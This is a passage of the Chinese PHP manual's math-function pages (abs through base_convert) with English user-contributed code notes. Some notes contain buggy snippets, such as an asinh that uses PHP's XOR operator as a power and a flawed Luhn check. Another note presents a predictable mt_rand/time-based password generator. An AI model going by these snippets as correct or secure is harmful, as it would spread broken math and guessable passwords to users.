        $whole = true;//this is a whole number
    }
//now check the fraction part
    if(strstr($q, '/')){
        if($whole==true){//if whole number, then remove the whole number and space from the calculations
              $q = strstr($q, ' ');
        }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
        if($whole==true){//add the whole number to the calculations
            $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
        }
$q = $a/$b;//this is now your decimal
return $q;
    }else{
        return $q;//not a fraction, just return the decimal
    }
}?>
pat.mat AT sympatico DOT com 08-Jun-2004 07:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
    $equa = strtolower($equa);
    echo "Equation de depart: ".$equa."<br>";
    $final = "";

    for($i = 0; $i < strlen($equa); $i++)
    {
        //Make a new string from the receive $equa
        if($equa{$i} == "x" && $equa{$i+1} == "^")
        {
            $final .= $equa{$i+2};
            $final .= "x^";
            $final .= $equa{$i+2}-1;
        }
        elseif($equa{$i} == "+" || $equa{$i} == "-")
        {
            $final .= $equa{$i};
        }
        elseif(is_numeric($equa{$i}) && $i == 0)
        {
            //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
        {
            //gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif($equa{$i} == "^")
        {
            continue;
        }
        elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
        {
            continue;
        }
        else
        {
            if($equa{$i} == "x")
            {
                $final .= 1;
            }
            else
            {
                $final .= $equa{$i};
            }
        }
    }
    //
    //Manage multiplication add in the previous string $final
    //
    $finalMul = "";
    for($i = 0; $i < strlen($final); $i++)
    {
        if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
        {
            $finalMul .= $final{$i}*$final{$i+2};
        }
        elseif($final{$i} == "*")
        {
            continue;
        }
        elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
        {
            continue;
        }
        else
        {
            $finalMul .= $final{$i};
        }
    }
    echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
florian at shellfire dot de 28-Apr-2004 02:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

    // Calculate the Faculty of a positive int-value
    function iFaculty($a_iFac)
    {
      if ($a_iFac > 0)
      {
          return $a_iFac * $this->iFaculty($a_iFac - 1);
      }
      elseif ($a_iFac == 0)
      {
          return 1;
      }
      else
      {
          return 0;  // Wrong argument!
      }
    }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

    // calculates the binomial coefficient "n over k" of 2 positive int values
    // for n >= k
    function iBinCoeff($a_iN, $a_iK)
    {
        // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
        return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
    }

?>
Chronial "at" cyberpunkuniverse.de 13-Jan-2004 01:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
      return NaN;
   if (($n-$r) < $r)
      return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
      $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
      return NaN;
   if ($r)
      return $n*(nPr($n-1,$r-1));
   else
      return 1;
}
?>
jl85 at yahoo dot com 05-Oct-2003 04:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr 30-Sep-2003 03:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
    $rx=$r;
    $a=$b;
    $b=$r;
    $r=fmod($a,$b);
    }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc 27-Aug-2003 08:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
jerry dot wilborn at fast dot net 16-Apr-2003 11:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com 22-Feb-2003 08:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
nazgul26 (at_sign) windfox dot net 08-Dec-2002 02:58
This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
    $a = (1/$decimal);
    $b = ( $a - floor($a)  );
    $count++;
    if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
    $result[$count] = floor($a);
}

/*
    Simplifies a fraction in an array form that is returned from
    decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
    $next = $fraction[$count-1];
    $a = ($bottom * $next) + $top;
    $top = $bottom;
    $bottom = $a;
    $count--;
    if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
    else {
        return "<font size=1>$bottom/$top</font>";
    }
}
?>
jbeardsl [found_at] gte [d0t] net 08-Nov-2002 01:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10, $digits);
    return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl 05-Aug-2002 09:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
    $r = 1;
  else {
    for ( $i = $r-1; $i > 1; $i-- )
      $r = $r * $i;
  }

  return( $r );
}
?>
webkid%webkid.com 31-May-2002 03:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
ian at mp3 dot com 19-Feb-2001 03:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
    $double = 2*(substr($ccNumber, $i, 1));
    $total += substr($double,0,1);
    if (strlen($double > 1)){
      $total += substr($double,1,1);
    }
  } else {
    $total += substr($ccNumber, $i, 1);
  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>


绝对值

  • ? Math 函数
  • acos ?
  • PHP Manual
  • Math 函数
  • 绝对值

abs

(PHP 4, PHP 5, PHP 7, PHP 8)

abs — 绝对值

说明

abs(int|float $num): int|float

返回参数 num 的绝对值。

参数

num

要处理的数字值

返回值

num 的绝对值。 如果参数 num 是 float，则返回的类型也是 float，否则返回 int（因为 float 通常比 int 有更大的取值范围）。

更新日志

版本 | 说明
8.0.0 | num 不再接受支持数字转换的内部对象。

示例

Example #1 abs() 示例

<?php
var_dump(abs(-4.2));
var_dump(abs(5));
var_dump(abs(-5));
?>

以上示例会输出：

float(4.2)
int(5)
int(5)

参见

  • gmp_abs() - Absolute value
  • gmp_sign() - Sign of number

User Contributed Notes

eep2004 at ukr dot net 03-Mar-2021 08:19
<?php
echo 'PHP '.PHP_VERSION.'<br>';

$qty = 1000;
$arr = array();
for ($i = 0; $i < $qty; $i++){
    $arr[] = rand(-100, 100);
}

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v *= -1;
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';
?>
Result:
PHP 7.1.33
0.0910
0.0710
0.0550

Conclusion: better to check before using the feature that the number is less than zero. Even better use multiplication by -1 than this function.


反余弦

  • ? abs
  • acosh ?
  • PHP Manual
  • Math 函数
  • 反余弦

acos

(PHP 4, PHP 5, PHP 7, PHP 8)

acos — 反余弦

说明

acos(float $num): float

返回 num 的反余弦值，单位是弧度。acos() 是 cos() 的反函数，它的意思是对于 acos() 的定义域中的每个 num 值，$num == cos(acos($num))。

参数

num

要处理的参数

返回值

num 的反余弦弧度。

参见

  • cos() - 余弦
  • acosh() - 反双曲余弦
  • asin() - 反正弦
  • atan() - 反正切

User Contributed Notes

rahmatjon at gmail dot com 13-Jan-2021 05:21
Hello!
There is no any example for acos() function. Please put this one below the acos() function's description.
Thank you!

Example:
<?php
    $arg=0.5;
    $val=acos($arg);
    echo "acos(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "acos(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


反双曲余弦

  • ? acos
  • asin ?
  • PHP Manual
  • Math 函数
  • 反双曲余弦

acosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

acosh — 反双曲余弦

说明

acosh(float $num): float

返回 num 的反双曲余弦值，即其双曲余弦为 num 的那个值。

参数

num

要处理的值

返回值

num 反双曲余弦

参见

  • cosh() - 双曲余弦
  • acos() - 反余弦
  • asinh() - 反双曲正弦
  • atanh() - 反双曲正切

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 02:35
Hello!
There is no any example for acosh() function. Please put this one below the acosh() function's description.
Thank you!

Example:
<?php
    $x = 1;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";

    $x = 10;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";
?>


反正弦

  • ? acosh
  • asinh ?
  • PHP Manual
  • Math 函数
  • 反正弦

asin

(PHP 4, PHP 5, PHP 7, PHP 8)

asin — 反正弦

说明

asin(float $num): float

返回 num 的反正弦值，单位是弧度。asin() 是 sin() 的反函数，它的意思是对于 asin() 的定义域中的每个 num 值，$num == sin(asin($num))。

参数

num

待处理的参数

返回值

num 的反正弦弧度。

参见

  • sin() - 正弦
  • asinh() - 反双曲正弦
  • acos() - 反余弦
  • atan() - 反正切

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 03:17
Hello!
Please put this example below the asin() function's description.
Thank you!

Example:
<?php
    $arg = 0.5;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";

    $arg = 1;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


反双曲正弦

  • ? asin
  • atan2 ?
  • PHP Manual
  • Math 函数
  • 反双曲正弦

asinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

asinh — 反双曲正弦

说明

asinh(float $num): float

返回 num 的反双曲正弦值，即，其双曲正弦为 num 的那个值。

参数

num

要处理的参数

返回值

返回 num 的反双曲正弦

参见

  • sinh() - 双曲正弦
  • asin() - 反正弦
  • acosh() - 反双曲余弦
  • atanh() - 反双曲正切

User Contributed Notes

ape_cwb at yahoo dot com dot br 15-Nov-2007 05:40
The correct implementation of asinh(x) for Windows plataform is:

-------------------------------------------------------
function asinh($x)
{
        return ln($x + sqrt(1 + pow($x, 2)));
}

function ln($x)
{
     return $x = log($x)/log(M_E);
}
--------------------------------------------------------

The worksheet above includes a comparation about the native asinh(x) and the implemented version using LN and LOG (like Snoyes posted on 27-Dec-2005 07:42)

http://www.mavadesign.com.br/allan/asinh(x).xls

This implementation using LN, give THE SAME results that function asinh(x) linux native.

Allan Patrick Engel
Curitiba - Paraná - Brasil
snoyes at gmail dot com 27-Dec-2005 07:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
    function asinh($z) {
      return log($z + sqrt($z^2 +1));
    }
}

if (!function_exists("bcasinh")) {
    function bcasinh($z) {
      return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
    }
}


两个参数的反正切

  • ? asinh
  • atan ?
  • PHP Manual
  • Math 函数
  • 两个参数的反正切

atan2

(PHP 4, PHP 5, PHP 7, PHP 8)

atan2 — 两个参数的反正切

说明

atan2(float $y, float $x): float

本函数计算两个变量 x 和 y 的反正切值。和计算 y / x 的反正切相似，只除了两个参数的符号是用来确定结果的象限之外。

本函数的结果为弧度，其值在 -PI 和 PI 之间（包括 -PI 和 PI）。

参数

y

Dividend parameter

x

Divisor parameter

返回值

x 和 y 的反正切弧度值。

参见

  • atan() - 反正切

User Contributed Notes

mirellastitan at gmail dot com 21-Jun-2017 08:09
The russian translation for this article contains a translation error.

Делитель and Делимое should be visa versa:

Делимое is the dividend
Делитель is the divisor

Thank you in advance for fixing this issue. It's quite confusing
andyidol at gmail dot com 10-Aug-2010 08:18
This function will return degree by vertex coordinates in general trigonometrical coordinate system where zero is located at position (1, 0), 90' at (0, 1), 180' at (-1, 0) and so on.

<?php

function GetDegree($x, $y)
{
  // we don't want to cause division by zero
  if($x == 0) $x = 1 / 10000;

  $deg = rad2deg(atan(abs($y / $x)));

  if($y >= 0) $deg = $x < 0 ? 180 - $deg : $deg;
  else        $deg = $x < 0 ? 180 + $deg : 360 - $deg;

  return $deg;

}

?>
fred dot beck at rrd dot com 11-Jan-2009 12:39
<?php
/**
 *    Given an origin point of (0,0) and a destination point $x,$y
 *  somewhere on an axis grid, compass() determines the compass
 *  heading(direction) of the destination point from the origin
 *
 *  HOWEVER, atan2(y,x)'s natural compass thinks east is north,
 *
 *  {135}-------{ 90}-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {180} [-x]  [0,0]  [+x] {0} <--------- North ?
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{-90}-------{-45}
 *
 *
 *    SO, we simply transpose the (y,x) parameters to atan2(x,y)
 *     which will both rotate(left) and reflect(mirror) the compass.
 *
 *  Which gives us this compass
 *
 *  {-45}-------{ 0 }-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {-90} [-x]  [0,0]  [+x] {90}
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{180}-------{135}
 *
 *  FINALLY,` we check if param $x was indeed a negative number,
 *  if so we simply add 360 to the negative angle returned by atan2()
 *
 */
function compass($x,$y)
    {
        if($x==0 AND $y==0){ return 0; } // ...or return 360
        return ($x < 0)
        ? rad2deg(atan2($x,$y))+360      // TRANSPOSED !! y,x params
        : rad2deg(atan2($x,$y));
    }
function polar($x,$y)
    {
        $N = ($y>0)?'N':'';
        $S = ($y<0)?'S':'';
        $E = ($x>0)?'E':'';
        $W = ($x<0)?'W':'';
        return $N.$S.$E.$W;
    }
function show_compass($x,$y)
     {
         return '<BR>'
             .polar($x,$y)
             .' compass( x='.$x.', y='.$y.' )= '
             .number_format(compass($x,$y),3).'&deg';
     }

echo show_compass(0,3);
echo show_compass(.06,3);
echo show_compass(3,3);
echo show_compass(3,.06);
echo show_compass(3,0);
echo show_compass(3,-.06);
echo show_compass(3,-3);
echo show_compass(.06,-3);
echo show_compass(0,-3);
echo show_compass(-.06,-3);
echo show_compass(-3,-3);
echo show_compass(-3,-.06);
echo show_compass(-3,0);
echo show_compass(-3,.06);
echo show_compass(-3,3);
echo show_compass(-.06,3);

/* RENDERS THIS

N compass( x=0, y=3 )= 0 °
NE compass( x=0.06, y=3 )= 1.14576283818 °
NE compass( x=3, y=3 )= 45 °
NE compass( x=3, y=0.06 )= 88.8542371618 °
E compass( x=3, y=0 )= 90 °
SE compass( x=3, y=-0.06 )= 91.1457628382 °
SE compass( x=3, y=-3 )= 135 °
SE compass( x=0.06, y=-3 )= 178.854237162 °
S compass( x=0, y=-3 )= 180 °
SW compass( x=-0.06, y=-3 )= 181.145762838 °
SW compass( x=-3, y=-3 )= 225 °
SW compass( x=-3, y=-0.06 )= 268.854237162 °
W compass( x=-3, y=0 )= 270 °
NW compass( x=-3, y=0.06 )= 271.145762838 °
NW compass( x=-3, y=3 )= 315 °
NW compass( x=-0.06, y=3 )= 358.854237162 °

*/

?>
Monte Shaffer 08-Jun-2007 11:35
Here is a function that will return a new point [Rotate around non-origin pivot point]

(x,y) is current point
(cx,cy) is pivot point to rotate
=a= is angle in degrees

    $_rotation     = 1;      # -1 = counter, 1 = clockwise
    $_precision    = 2;      # two decimal places

function returnRotatedPoint($x,$y,$cx,$cy,$a)
    {
    # http://mathforum.org/library/drmath/view/63184.html
    global $_rotation;     # -1 = counter, 1 = clockwise
    global $_precision;    # two decimal places

            // radius using distance formula
            $r = sqrt(pow(($x-$cx),2)+pow(($y-$cy),2));
            // initial angle in relation to center
            $iA = $_rotation * rad2deg(atan2(($y-$cy),($x-$cx)));

            $nx = number_format($r * cos(deg2rad($_rotation * $a + $iA)),$_precision);
            $ny = number_format($r * sin(deg2rad($_rotation * $a + $iA)),$_precision);

    return array("x"=>$cx+$nx,"y"=>$cy+$ny);
    }
reubs at idsdatanet dot com 23-May-2003 01:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)


反正切

  • ? atan2
  • atanh ?
  • PHP Manual
  • Math 函数
  • 反正切

atan

(PHP 4, PHP 5, PHP 7, PHP 8)

atan — 反正切

说明

atan(float $num): float

返回 num 的反正切值，单位是弧度。atan() 是 tan() 的反函数，它的意思是对于 atan() 的定义域中的每个 num 值，$num == tan(atan($num))。

参数

num

要处理的参数

返回值

num 的反正切弧度。

参见

  • tan() - 正切
  • atanh() - 反双曲正切
  • asin() - 反正弦
  • acos() - 反余弦

User Contributed Notes

Ts.Saltan 29-Apr-2016 08:52
arcctg function

function actg($arg){
    return acos($arg/(sqrt(1 + $arg * $arg)));
}
Anonymous 30-Aug-2014 11:38
Contrary to the current description, it should hold y == tan(atan(y)) for ALL  y.
However, x == atan(tan(x)) only holds for those x which are in the range of atan, which are those x with -pi/2 < x < pi/2.

Of course, those equalities are limited by precision. On my machine
tan(atan(1000)) returns 1000.0000000001.
atan(tan(0)) returns 0 (correct).
atan(tan(M_PI)) returns -1.2246467991474E-16 instead of 0.
joelperr at kiwi-interactif dot com 11-Jan-2006 05:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com 27-Nov-2003 06:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz


反双曲正切

  • ? atan
  • base_convert ?
  • PHP Manual
  • Math 函数
  • 反双曲正切

atanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

atanh — 反双曲正切

说明

atanh(float $num): float

返回 num 的反双曲正切值，即，其双曲正切为 num 的那个值。

参数

num

要处理的参数

返回值

num 的反双曲正切

参见

  • tanh() - 双曲正切
  • atan() - 反正切
  • asinh() - 反双曲正弦
  • acosh() - 反双曲余弦

User Contributed Notes

There are no user contributed notes for this page.


在任意进制之间转换数字

  • ? atanh
  • bindec ?
  • PHP Manual
  • Math 函数
  • 在任意进制之间转换数字

base_convert

(PHP 4, PHP 5, PHP 7, PHP 8)

base_convert — 在任意进制之间转换数字

说明

base_convert(string $num, int $from_base, int $to_base): string

返回字符串，包含 num 以 to_base 进制的表示。num 本身的进制由 from_base 指定。from_base 和 to_base 都只能在 2 和 36 之间（包括 2 和 36）。高于十进制的数字用字母 a-z 表示，例如 a 表示 10，b 表示 11 以及 z 表示 35。字母的大小无关紧要，即 num 不区分大小写。

Warning

由于使用内部的 float 类型，base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的浮点数章节以便获得更多详细信息。

参数

num

要转换的数字。num 中的任何无效字符都会默认忽略。自 PHP 7.4.0 起，弃用使用任何无效字符。

from_base

num 的进制数

to_base

num 要转换为的进制数

返回值

num 转换为 to_base 进制

更新日志

版本 | 说明
7.4.0 | 传递任何无效字符现在将生成弃用通知。但仍会计算结果，就好像无效字符不存在一样。

示例

Example #1 base_convert() 示例

<?php
$hexadecimal = 'a37334';
echo base_convert($hexadecimal, 16, 2);
?>

以上示例会输出：

101000110111001100110100

参见

  • intval() - 获取变量的整数值

User Contributed Notes

tecdoc at ukr dot net 13-Dec-2022 10:06
Addition to the method suggested by "lindsay at bitleap dot com".

Easy way convert hex string to decimal string for 32-bit version of php
<?php
$test = '0x7000005a00000ea5';
$rrrrr = gmp_strval($test);
var_dump($test, $rrrrr);
?>
will return
//string '0x7000005a00000ea5' (length=18)
//string '8070450918794989221' (length=19)

base_convert will return 8070450918794990488
xdv43 at yandex dot ru 26-Aug-2022 02:21
Convert Large Integer to Hexadecimal without PHP Math extension.

<?php
/*
 * Created by Michael Renner  17-May-2006 03:24
*/
function baseConvert($numstring, $frombase, $tobase)
{

    $chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    $tostring = substr($chars, 0, $tobase);

    $length = strlen($numstring);
    $result = '';
    for ($i = 0; $i < $length; $i++)
    {
        $number[$i] = strpos($chars, $numstring[$i]);
    }
    do
    {
        $divide = 0;
        $newlen = 0;
        for ($i = 0; $i < $length; $i++)
        {
            $divide = $divide * $frombase + $number[$i];
            if ($divide >= $tobase)
            {
                $number[$newlen++] = (int)($divide / $tobase);
                $divide = $divide % $tobase;
            } elseif ($newlen > 0)
            {
                $number[$newlen++] = 0;
            }
        }
        $length = $newlen;
        $result = $tostring[$divide] . $result;
    } while ($newlen != 0);
    return $result;
}
Anonymous 19-Oct-2018 01:09
While not immediately clear from the description above, a negative sign is also "silently ignored".

base_convert("-12", 10, 10)   =>   12
Anonymous 03-Jan-2018 04:42
some other mini implementation of base32 without error catching. just bring things from 5 to 8 and 8 to 5 bit. greetings. mho

<?
function base32_decode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%05b", strpos($t, $c));

    foreach(str_split($b, 8) as $c)
        $r = $r . chr(bindec($c));

    return($r);
    }

function base32_encode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%08b", ord($c));

    foreach(str_split($b, 5) as $c)
        $r = $r . $t[bindec($c)];

    return($r);
    }
?>
wadelau at gmail dot com 28-Dec-2017 09:37
Base62x gives an alternative way for traditional Base62 and/or Base64.

base62x_encode / base62x_decode would be merged into PHP as an extra module in the future.

Prior to that, users can download the PHP extra module via: https://github.com/wadelau/Base62x
ohcc at 163 dot com 29-Aug-2017 06:31
<?php
    $v = base_convert(3.14, 10, 10);
    var_dump($v);
?>

output: string(3) "314"
tika dot pahadi at selu dot edu 17-Jan-2016 09:23
Note that the method can only convert max 1024 long numbers. Most people don't nee that but once I ran into an issue where binary string was converted into alphanumeric. In such case, you need to split them, convert them and join.
liams dot test dot acc at gmail dot com 16-Aug-2015 10:49
I wrote this as part of a college assignment to shorten urls. It works for any base and with any range of characters, eg. A-Za-z0-9 etc. Hope it helps someone.

<?php

        $base = range(0, 1);
        $number = 255;

        function translate($base, $number){

                $array = array();
                $n = count($base);
                $i = $number;

                while(true){

                /* by dividing $i % $n we can get the remainder after the number has
                 * been divided by the base. Subtracting the result from $i (number), and dividing
                 * by $n (base) we reassign the result to $i, thus moving on to the next smallest
                 * exponent, and around for another go of the loop. It continues doing this, churning
                 * out the remainders until $i <= 0 at which point it breaks.
                 */

                        if($i <= 0){

                                break;
                        }else{
                                $r = ($i % $n);

                              //reassign the value of $i
                                $i = ($i - $r) / $n;

                                $array[] = $base[$r];
                        }
                }
                $string = implode("", $array);
                return $string;
        }

        $string = translate($base, $number);
        echo $string;

        // prints 11111111
?
ardavies at tiscali dot co dot uk 24-May-2014 11:31
In order to convert base 26 (hexavigesimal) of just alphanumeric characters (A-Z), wthout integers, (as descibed at http://en.wikipedia.org/wiki/Hexavigesimal), I found this to be useful:

function base_convert_alpha(  $str,  $from,  $to  )
{
    $r = range( 'A', 'Z' );
    $clean = str_replace( $r, array_keys($r), $str );
    return base_convert( $clean, $from, $to );
}

echo base_convert_alpha(  "BAC",  26,  10  );

//$clean = 102 which then returns 678
andrew at youritland dot co dot uk 29-Apr-2014 03:49
Example of using base_convert to generate random passwords

function random_password()
{
  $rvalue1 = mt_rand(100,999);
  $rvalue2 = time();
  $rvalue3 = mt_rand(1000,9999);
  $rvalue4 = mt_rand(1,9);
  $rvalue5 = mt_rand(101,109);
  //combine values
  $rvalues = intval(((($rvalue2.$rvalue3) + $rvalue1)*$rvalue4) / $rvalue5);

  //return value in base-35 (will contain chars from '0' to 'z')
  return base_convert($rvalues,10,35);
}

Change the range of rvalue5 to get more or less characters. This setting
will return 8 chars.
denik dot od at gmail dot com 07-Jun-2013 02:55
Convert any length bits to HEX:

function bits2hex($bin)
{
   $out = "";
   for($i=0;$i<strlen($bin);$i+=8)
   {
      $byte = substr($bin,$i,8); if( strlen($byte)<8 ) $byte .= str_repeat('0',8-strlen($byte));
      $out .= base_convert($byte,2,16);
   }
   return $out;
}

VARNING! If the last byte is incomplete, it is supplemented with zeros as string!
Clifford dot ct at gmail dot com 07-Aug-2012 02:01
If you use base_convert to convert a large (eg. 80-bit) hexadecimal to base-36, you might observe:

ABCDEF00001234567890 (hexadecimal) => 3O47RE02JZSW0KS8 (base-36) => ABCDEF00001240000000 (hexadecimal)

This is normal and is due to the loss of precision on large numbers.

I have written a string-based function using the built-in BC Math Extension which will overcome this and similar problems.

<?php

function str_baseconvert($str, $frombase=10, $tobase=36) {
    $str = trim($str);
    if (intval($frombase) != 10) {
        $len = strlen($str);
        $q = 0;
        for ($i=0; $i<$len; $i++) {
            $r = base_convert($str[$i], $frombase, 10);
            $q = bcadd(bcmul($q, $frombase), $r);
        }
    }
    else $q = $str;

    if (intval($tobase) != 10) {
        $s = '';
        while (bccomp($q, '0', 0) > 0) {
            $r = intval(bcmod($q, $tobase));
            $s = base_convert($r, 10, $tobase) . $s;
            $q = bcdiv($q, $tobase, 0);
        }
    }
    else $s = $q;

    return $s;
}

?>

Typical use-cases:
1.  Convert a large arbitrary precision number to base-36.
2.  Convert a 32-char hexadecimal UUID (128-bit) to a 25-char base-36 unique key, and vice versa.

Examples:

<?php
